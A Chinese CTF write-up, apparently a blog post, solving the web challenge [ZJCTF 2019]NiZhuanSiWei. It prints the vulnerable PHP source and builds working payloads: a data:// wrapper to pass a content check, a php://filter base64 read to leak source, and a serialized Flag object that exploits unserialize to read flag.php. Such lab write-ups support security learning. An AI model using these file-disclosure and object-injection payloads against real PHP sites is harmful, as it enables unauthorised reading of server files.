[ZJCTF 2019]NiZhuanSiWei

web第23题
[ZJCTF 2019]NiZhuanSiWei

打开靶场:
在这里插入图片描述

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

php代码审计,get方式传入3个参数
text参数的构造

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")

首先判断text文件中的内容是否为welcome to the zjctf,也就是说我们需要向文件中写入welcome to the zjctf,使用php伪协议data://text/plain协议
参考:php伪协议
text参数payload:

?text=data://text//plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

file参数的构造

if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }

使用正则匹配将flag关键字过滤,提示需要使用useless.php,所以我们需要访问它,尝试直接访问在这里插入图片描述
没有内容,应该是要用php中的filter方法进行读取
参考我做的另外一题的方法:buuctf初学者学习记录–[ACTF2020 新生赛]Include
构造file参数的payload进行文件读取:(别忘了先判断的text,所以要把text也加上)

?text=data://text//plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

在这里插入图片描述
将其进行base64解码得到useless.php的代码

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

提示flag.php文件,Flag类定义了$file变量,使用__tostring方法将文件内容输出

password参数的构造
分析接下来的代码

		include($file);  //useless.php
        $password = unserialize($password);
        echo $password;

在引入useless.php后
将password变量进行反序列化然后输出
注意:反序列化时会调用useless.php中的__tostring方法,将file变量所指向的文件进行读取,然后赋给新的password变量,最后输出

关键就是构造序列化的内容使得其反序列化后为flag.php,直接在useless.php中为file变量进行赋值,然后创建对象进行序列化输出
在这里插入图片描述
在这里插入图片描述
那么password对应的payload就为:

password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

将3个参数连接,(注意这里的file参数为useless.php,因为我们使用filter只是为了得到useless.php的内容,结合最初的源码可以知道,要导入useless.php就要把file内容设置为它)得到最终payload:

?text=data://text//plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在这里插入图片描述

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值